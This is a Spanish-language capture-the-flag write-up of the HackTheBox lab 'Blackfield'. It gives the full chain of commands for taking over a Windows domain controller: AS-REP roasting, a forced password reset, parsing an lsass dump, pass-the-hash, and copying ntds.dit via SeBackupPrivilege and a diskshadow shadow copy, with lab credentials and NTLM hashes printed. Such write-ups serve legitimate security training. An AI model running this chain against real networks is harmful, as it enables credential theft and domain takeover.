Blackfield
Hard · Active Directory · 2026-06-03
Información de la máquina
| Campo | Detalle |
|---|---|
| Plataforma | HackTheBox |
| Sistema operativo | Windows |
| Dificultad | Difícil |
| Categoría | Active Directory |
| Fecha | — |
Reconocimiento
Domain gathering
sudo netexec smb 10.129.229.17 -u "" -p ""
[sudo] password for kali:
SMB 10.129.229.17 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB 10.129.229.17 445 DC01 [+] BLACKFIELD.local\:
Lo ponemos en /etc/hosts:
10.129.229.17 BLACKFIELD.local DC01 DC01.BLACKFIELD.local
Nmap TCP
Escaneo TCP
sudo nmap 10.129.229.17 -p- --open -sS --min-rate 500 -vvv -n -Pn

Puertos normales sabiendo que nos encontramos contra un DC.
Kerbrute
./kerbrute_linux_amd64 userenum --dc <DC ip> -d <domain> <wordlist>

Lo dejamos cargando por si da algún resultado.
Rpc Enumeration
Acceso sin credenciales
rpcclient -U "" -N 10.129.229.17

No tenemos permisos.
Smb Enumeration
Enumeración SMB sin credenciales
Smbclient
smbclient -L 10.129.229.17 -N

Smbmap
smbmap -H 10.129.229.17 -u 'null'

Tenemos dos cosas que nos llaman la atención:
-
IPC$

Tenemos una lista bastante grande, la formateamos y la pasamos a un archivo.
-
Profiles$

La verdad que esta lista parece mas una lista de usuarios, vamos a formatearlo en otro archivo.
Ahora tenemos dos posibles listas de usuarios.
Ldap Enumeration
Enumeración LDAP sin credenciales
ldapsearch -x -H ldap://10.129.229.17 -D '' -w '' -b "DC=blackfield,DC=local"

No vemos nada.
ASREProast
impacket-GetNPUsers blackfield.local/ -no-pass -usersfile users.txt
Con la primera lista (IPC$):

Nos encuentra un usuarios, aun así, vamos a probar con la otra lista.
Lista de profiles:

Vemos por los mensajes que nos daba de los otros usuarios que no existia a nivel sistema los otros usuarios.
Crackeamos hash:

Tenemos usuario y password:
support:#00^BlackKnight
Perfecto, vamos a volver a enumerar, esta vez con credenciales:
Rpc Enumeration
Acceso RPC con credenciales
rpcclient -U "support%#00^BlackKnight" 10.129.229.17
Tras enumerar con enumdomusers, vemos que es la misma info que ya teniamos. Enumerando querydispinfo, no vemos nada importante.
Smb Enumeration
Enumeración SMB con credenciales
Netexec
sudo netexec smb <IP> -u "username" -p "password" --shares

No vemos nada mucho mas relevante.


Ldap Enumeration
Enumeración LDAP con credenciales
ldapsearch -x -H ldap://10.129.229.17 -D 'blackfield\support' -w '#00^BlackKnight' -b 'DC=<domain>,DC=<TLD>'

Kerberoasting
impacket-GetUserSPNs blackfield.local/support:#00^BlackKnight -request

BloodHound
Investigando un poco me encuentro con lo siguiente:

Tenemos capacidad de cambiarle la contraseña a audit2020.
net rpc password "audit2020" 'Password123!' -U blackfield/support%#00^BlackKnight -S "blackfield.local"
Ahora tenemos nuevas credenciales:
audit2020:Password123!
Tenemos otro user, por lo que volvemos a enumerar:
Enumeración SMB con credenciales
Netexec
sudo netexec smb 10.129.229.17 -u "audit2020" -p 'Password123!' --shares

Vamos a ver que hay dentro:
Acceso a carpeta de SMB con credenciales
smbclient -U 'audit2020' //10.129.229.17/forensic

Comandos SMB para descargar el contenido
smb: \> mask ""
smb: \> prompt OFF
smb: \> recurse ON
smb: \> mget *

Me he encontrado un directorio donde habian muchos .zip, como uno me ha llamado la atención (lsass) lo he descomprimido y me sale un lsass.DMP.
Para leer un lsass.DMP, tenemos que hacer lo siguiente:
Instalación de pypykatz:
sudo apt update
sudo pip3 install pypykatz --upgrade
Ejecución del comando:
pypykatz lsa minidump lsass.DMP

Nos está dumpeando los usuarios con su hash NTLM.
Probamos con este user a hacer un PtH:
evil-winrm -i 10.129.229.17 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'

Vemos que este user es backup operator:

Cuando me disponia a hacer un dumpeo con el sam, system y local, me encuentro con lo siguiente en la raiz:

Amigos,
Tras la intrusión en el dominio y el análisis forense informático de la semana pasada, los auditores nos aconsejaron:
- Cambiar todas las contraseñas: Hecho.
- Cambiar la contraseña de krbtgt dos veces: Hecho.
- Deshabilitar la cuenta de auditor (audit2020): Hecho.
- Usar cuentas de administrador de dominio nominativas en lugar de esta: Hecho.
Probablemente tendremos que hacer copias de seguridad y restaurar los datos más adelante.
- Mike.
PD: Dado que el informe de auditoría es confidencial, lo he cifrado en el escritorio (root.txt).
Backup Operators es un grupo privilegiado de Windows que por diseño puede leer y escribir cualquier fichero del sistema, incluyendo los que normalmente están bloqueados, para hacer copias de seguridad.
Esto incluye los ficheros críticos del SAM/NTDS:
NTDS.DIT→ base de datos del AD con todos los hashesSYSTEM→ contiene la clave para descifrar el NTDS.DITSAM→ hashes locales
El flujo del ataque es:
- Con evil-winrm como svc_backup (Backup Operators), usas el privilegio
SeBackupPrivilegepara copiar el NTDS.DIT y SYSTEM aunque estén bloqueados - Te bajas esos ficheros a tu máquina
- Con
impacket-secretsdumpextraes los hashes offline:
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
Como sacar cada archivo:
SAM:
reg save HKLM\SAM C:\Temp\SAM
SYSTEM:
reg save HKLM\SYSTEM C:\Temp\SYSTEM
NTDS.DIT
git clone https://github.com/giuliano108/SeBackupPrivilege.git
Y una vez dentro necesitamos dos archivos:

El flujo sería:
# Subir las dos DLLs y luego en Evil-WinRM:
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
# Copiar NTDS.dit
Copy-FileSeBackupPrivilege C:\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit
*Evil-WinRM* PS C:\Users\svc_backup\Documents\hola> Copy-FileSeBackupPrivilege C:\Windows\NTDS\ntds.dit C:\Users\svc_backup\Documents\hola\ntds.dit
Opening input file. - The process cannot access the file because it is being used by another process. (Exception from HRESULT: 0x80070020)
At line:1 char:1
+ Copy-FileSeBackupPrivilege C:\Windows\NTDS\ntds.dit C:\Users\svc_back ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [Copy-FileSeBackupPrivilege], Exception
+ FullyQualifiedErrorId : System.Exception,bz.OneOEight.SeBackupPrivilege.Copy_FileSeBackupPrivilege
Cuando nos sale esto, hay otra manera de conseguirlo:
Creamos un archivo en nuestra kali:
printf "set context persistent nowriters\r\nadd volume c: alias pwn\r\ncreate\r\nexpose %%pwn%% z:\r\n" > shadow.txt
Este shadow.txt lo subimos a evilwinrm:

Y ahora comando de diskshadow:
diskshadow /s C:\Users\svc_backup\Documents\hola\shadow.txt
Una vez lo tenemos, por si acaso volvemos a importar modulos y tiramos el ultimo comando:
Copy-FileSeBackupPrivilege z:\Windows\NTDS\ntds.dit C:\Users\svc_backup\Documents\hola\ntds.dit

Y ya tenemos el archivo.
VSS (Volume Shadow Copy Service)
Windows tiene un servicio que hace snapshots del volumen entero, incluso de archivos que están en uso. Es lo que usa Windows para backups mientras el sistema está corriendo.
Qué hace cada línea del script:
set context persistent nowriters
Crea una shadow copy persistente (sobrevive al reboot) y excluye los VSS writers — los writers son aplicaciones como AD que podrían interferir o bloquear el proceso.
add volume c: alias pwn
Le dice que haga la snapshot del volumen C:\ y le asigna el alias pwn para referenciarlo después.
create
Ejecuta la snapshot en ese momento.
expose %pwn% z:
Monta la snapshot como una unidad nueva Z:\. Es como tener una foto congelada de C:\ accesible como disco independiente.
Por qué funciona:
Cuando accedes a z:\Windows\NTDS\ntds.dit no estás tocando el archivo real — estás leyendo la snapshot. El AD Database Service tiene bloqueado el archivo en C:\, pero no tiene ningún lock sobre la copia congelada en Z:\. Por eso 0x80070020 desaparece.
Manera automatica:
https://github.com/G4sp4rCS/backup-operator-to-domain-admin-POC

Lo pasamos a nuestra kali para tratarlo con el comando.
impacket-secretsdump -system SYSTEM -sam SAM -ntds ntds.dit LOCAL

Aplicamos un PtH:
evil-winrm -i 10.129.229.17 -u 'administrator' -H '184fb5e5178480be64824d4cd53b99ee'